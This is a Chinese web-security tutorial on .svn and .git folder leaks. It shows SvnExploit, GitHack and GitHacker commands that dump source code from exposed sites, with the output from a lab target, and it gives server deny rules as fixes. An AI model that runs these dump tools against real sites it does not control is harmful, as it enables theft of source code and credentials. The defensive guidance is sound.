Web安全-网站信息泄露漏洞分析 .svn .git 检测分析以及解决办法
先说一下使用svn部署和同步网站可能存在的网站文件泄露问题
SVN(subversion)是程序员常用的源代码版本管理软件。在使用 SVN 管理本地代码过程中,使用 svn checkout 功能来更新代码时,项目目录下会自动生成隐藏的.svn文件夹(Linux上用 ls 命令看不到,要用 ls -al 命令),其中包含重要的源代码信息。
造成SVN源代码漏洞的主要原因是管理员操作不规范,一些网站管理员在发布代码时,不愿意使用“导出”功能,而是直接复制代码文件夹到WEB服务器上,这就使得.svn隐藏文件夹被暴露于外网环境,黑客对此可进一步利用:
可以利用其中包含的用于版本信息追踪的 entries 文件(.svn/entries 文件),获取到服务器源码、svn服务器账号密码等信息;
可以利用 wc.db 数据库文件(.svn/wc.db 文件),获取到一些数据库信息;
更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,则可以直接获得文件源代码。
漏洞危害
一旦网站出现SVN漏洞,其危害远比SQL注入等其它常见网站漏洞更为致命,因为黑客获取到网站源代码后,一方面是掠夺了网站的技术知识资产,另一方面,黑客还可通过源代码分析其它安全漏洞,从而对网站服务器及用户数据造成持续威胁(git同理)。
那么怎么检测自己网站是不是泄露了呢,使用工具
svn检测工具是SvnExploit git的检测工具是GitHack 和 GitHacker
SvnExploit 工具说明
开源地址:
https://github.com/admintony/svnExploit
https://gitee.com/ssssw88/svnExploit
下载地址:https://url07.ctfile.com/f/349707-8591557274-022abd?p=5036
使用方法
安装依赖库
sudo pip install -r requirements.txt
查看帮助
python SvnExploit.py -h
检测SVN源代码泄露(如果看到一堆你网站的相关文件显示出来说明泄露了)
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit
+--------------------+----------+------------------------------------------------+
| 文件名 | 文件类型 | CheckSum |
+--------------------+----------+------------------------------------------------+
| conn.php | file | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 |
| trunk | dir | None |
| branches | dir | None |
| admin_login.php | file | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 |
| phpmyadmin | file | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 |
| README.TXT | file | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 |
| README.txt | file | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 |
| secret.php | file | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 |
| README.md | file | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b |
| img/login_bg01.jpg | file | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd |
| img | dir | None |
| index.php | file | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 |
| test.sql | file | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 |
| admin.php | file | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f |
| document | dir | None |
| tags | dir | None |
+--------------------+----------+------------------------------------------------+
下载源代码
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit
+--------------------+--------------------------------------------------------------------+----------+
| 文件名 | URL | 下载状态 |
+--------------------+--------------------------------------------------------------------+----------+
| conn.php | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 |
| README.TXT | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 |
| README.txt | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 |
| phpmyadmin | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 |
| secret.php | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 |
| README.md | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 |
| admin_login.php | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 |
| index.php | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 |
| admin.php | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 |
| test.sql | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 |
| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 |
+--------------------+--------------------------------------------------------------------+----------+
[+] 已经Dump完成!
下面说一下git相当检测工具
1.GitHack检测工具 开源地址 https://github.com/lijiejie/GitHack
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。
渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
使用方法
python GitHack.py http://www.openssl.org/.git/
2.GitHacker检测工具 开源地址 https://github.com/WangYihang/GitHacker
GitHacker是一个多线程工具,用于利用文件夹泄露漏洞。它几乎能完整下载目标文件夹。当该功能被暴力破解常用文件夹文件禁用时,该工具同样有效。借助GitHacker,你可以查看开发者的提交历史、分支、......、隐藏文件,这有助于更好地理解目标仓库,甚至发现安全漏洞。
使用方法
# install python3 -m pip install -i https://pypi.org/simple/ GitHacker # print help info githacker --help # quick start githacker --url http://127.0.0.1/.git/ --output-folder result # brute for the name of branchs / tags githacker --brute --url http://127.0.0.1/.git/ --output-folder result # exploit multiple websites, one site per line githacker --brute --url-file websites.txt --output-folder result
漏洞修复和解决办法
1、不要使用svn checkout和svn up更新服务器上的代码,使用svn export(导出)功能代替;
2、服务器软件(Nginx、apache、tomcat、IIS等)设置目录权限,禁止访问.svn目录;(推荐)
nginx禁止目录
server
{
------其它代码-----
#禁止访问的文件或目录
location ~ ^/(\.user.ini|\.htaccess|\.git|\.env|\.svn|\.project|LICENSE|README.md)
{
return 404;
}
------其它代码-----
}apache禁止目录.htaccess
<FilesMatch "^(\\.user.ini|\\.htaccess|\\.git|\\.env|\\.svn|\\.project|LICENSE|README.md)$"> Require all denied ErrorDocument 404 /404.html </FilesMatch>
IIS (web.config)
<configuration> <system.webServer> <security> <requestFiltering> <hiddenSegments> <add segment=".user.ini" /> <add segment=".htaccess" /> <add segment=".git" /> <add segment=".env" /> <add segment=".svn" /> <add segment=".project" /> </hiddenSegments> <denyUrlSequences> <add sequence="LICENSE" /> <add sequence="README.md" /> </denyUrlSequences> </requestFiltering> </security> <httpErrors> <remove statusCode="404" subStatusCode="-1" /> <error statusCode="404" path="/404.html" responseMode="ExecuteURL" /> </httpErrors> </system.webServer> </configuration>
Tomcat (web.xml)
<web-app> <security-constraint> <web-resource-collection> <web-resource-name>Protected Files</web-resource-name> <url-pattern>/.user.ini</url-pattern> <url-pattern>/.htaccess</url-pattern> <url-pattern>/.git</url-pattern> <url-pattern>/.env</url-pattern> <url-pattern>/.svn</url-pattern> <url-pattern>/.project</url-pattern> <url-pattern>/LICENSE</url-pattern> <url-pattern>/README.md</url-pattern> </web-resource-collection> <auth-constraint> <role-name>none</role-name> </auth-constraint> </security-constraint> <error-page> <error-code>404</error-code> <location>/404.html</location> </error-page> </web-app>
3、删除 /.svn 文件夹,注意,不只svn,git 或者其他版本管理软件也存在类似的问题。

